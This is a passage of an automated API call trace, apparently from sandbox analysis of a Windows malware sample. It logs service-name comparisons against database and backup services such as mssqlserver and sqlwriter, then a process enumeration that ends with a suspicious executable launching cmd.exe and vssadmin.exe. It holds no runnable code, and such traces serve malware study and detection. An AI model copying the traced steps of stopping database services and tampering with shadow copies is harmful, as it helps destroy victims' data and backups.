(lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0254.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0254.834] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0254.834] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0254.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0254.834] lstrlenW (lpString="MpsSvc") returned 6 [0254.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0254.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0254.834] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0254.834] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0254.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0254.834] lstrlenW (lpString="NcbService") returned 10 [0254.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0254.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0254.834] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0254.834] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0254.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0254.834] lstrlenW (lpString="netprofm") returned 8 [0254.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0254.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0254.835] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0254.835] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0254.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0254.835] lstrlenW (lpString="NgcSvc") returned 6 [0254.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0254.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0254.835] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0254.835] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0254.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0254.835] lstrlenW (lpString="NlaSvc") returned 6 [0254.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0254.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0254.835] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0254.835] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0254.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0254.835] lstrlenW (lpString="nsi") returned 3 [0254.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0254.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0254.835] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0254.835] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0254.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0254.835] lstrlenW (lpString="PcaSvc") returned 6 [0254.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0254.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0254.835] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0254.835] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0254.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0254.835] lstrlenW (lpString="PlugPlay") returned 8 [0254.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0254.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0254.836] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0254.836] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0254.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0254.836] lstrlenW (lpString="Power") returned 5 [0254.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0254.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0254.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0254.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0254.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0254.836] lstrlenW (lpString="ProfSvc") returned 7 [0254.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0254.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0254.836] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0254.836] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0254.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0254.836] lstrlenW (lpString="RpcEptMapper") returned 12 [0254.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0254.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0254.836] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0254.836] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0254.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0254.836] lstrlenW (lpString="RpcSs") returned 5 [0254.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0254.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0254.836] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0254.836] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0254.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0254.836] lstrlenW (lpString="SamSs") returned 5 [0254.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0254.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0254.836] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0254.837] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0254.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0254.837] lstrlenW (lpString="Schedule") returned 8 [0254.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0254.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0254.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0254.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0254.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0254.837] lstrlenW (lpString="SecurityHealthService") returned 21 [0254.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0254.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0254.837] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0254.837] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0254.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0254.837] lstrlenW (lpString="SENS") returned 4 [0254.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0254.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0254.837] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0254.837] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0254.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0254.837] lstrlenW (lpString="ShellHWDetection") returned 16 [0254.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0254.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0254.837] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0254.837] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0254.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0254.837] lstrlenW (lpString="Spooler") returned 7 [0254.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0254.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0254.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0254.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0254.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0254.838] lstrlenW (lpString="StateRepository") returned 15 [0254.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0254.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0254.838] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0254.838] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0254.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0254.838] lstrlenW (lpString="SysMain") returned 7 [0254.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0254.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0254.838] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0254.838] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0254.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0254.838] lstrlenW (lpString="SystemEventsBroker") returned 18 [0254.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0254.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0254.838] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0254.838] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0254.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0254.838] lstrlenW (lpString="Themes") returned 6 [0254.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0254.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0254.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0254.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0254.838] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205e48 | out: hHeap=0x670000) returned 1 [0254.839] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x45c [0254.843] Process32FirstW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.843] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.844] lstrlenW (lpString="System") returned 6 [0254.844] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.844] lstrlenW (lpString="smss.exe") returned 8 [0254.844] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.845] lstrlenW (lpString="csrss.exe") returned 9 [0254.845] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.845] lstrlenW (lpString="wininit.exe") returned 11 [0254.845] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.846] lstrlenW (lpString="csrss.exe") returned 9 [0254.846] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.846] lstrlenW (lpString="winlogon.exe") returned 12 [0254.846] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.847] lstrlenW (lpString="services.exe") returned 12 [0254.847] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.856] lstrlenW (lpString="lsass.exe") returned 9 [0254.857] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.857] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0254.857] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.858] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0254.858] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.858] lstrlenW (lpString="svchost.exe") returned 11 [0254.858] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.859] lstrlenW (lpString="svchost.exe") returned 11 [0254.859] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.860] lstrlenW (lpString="dwm.exe") returned 7 [0254.860] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.860] lstrlenW (lpString="svchost.exe") returned 11 [0254.860] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.861] lstrlenW (lpString="svchost.exe") returned 11 [0254.861] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.861] lstrlenW (lpString="svchost.exe") returned 11 [0254.862] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.862] lstrlenW (lpString="svchost.exe") returned 11 [0254.862] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.863] lstrlenW (lpString="svchost.exe") returned 11 [0254.863] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.864] lstrlenW (lpString="svchost.exe") returned 11 [0254.864] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.865] lstrlenW (lpString="svchost.exe") returned 11 [0254.865] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.865] lstrlenW (lpString="svchost.exe") returned 11 [0254.865] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.866] lstrlenW (lpString="svchost.exe") returned 11 [0254.866] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.867] lstrlenW (lpString="svchost.exe") returned 11 [0254.867] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.867] lstrlenW (lpString="spoolsv.exe") returned 11 [0254.867] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.868] lstrlenW (lpString="svchost.exe") returned 11 [0254.868] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.869] lstrlenW (lpString="audiodg.exe") returned 11 [0254.869] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0254.869] lstrlenW (lpString="sihost.exe") returned 10 [0254.869] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.870] lstrlenW (lpString="svchost.exe") returned 11 [0254.870] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0254.870] lstrlenW (lpString="taskhostw.exe") returned 13 [0254.870] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0254.871] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0254.871] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0254.871] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0254.871] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0254.871] lstrlenW (lpString="Memory Compression") returned 18 [0254.872] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.872] lstrlenW (lpString="explorer.exe") returned 12 [0254.872] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0254.872] lstrlenW (lpString="SearchUI.exe") returned 12 [0254.872] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0254.873] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0254.873] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0254.873] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0254.873] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.874] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0254.874] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0254.874] lstrlenW (lpString="finbbp.exe") returned 10 [0254.874] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0254.875] lstrlenW (lpString="cmd.exe") returned 7 [0254.875] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0254.875] lstrlenW (lpString="conhost.exe") returned 11 [0254.875] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0254.876] lstrlenW (lpString="vssadmin.exe") returned 12 [0254.876] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, 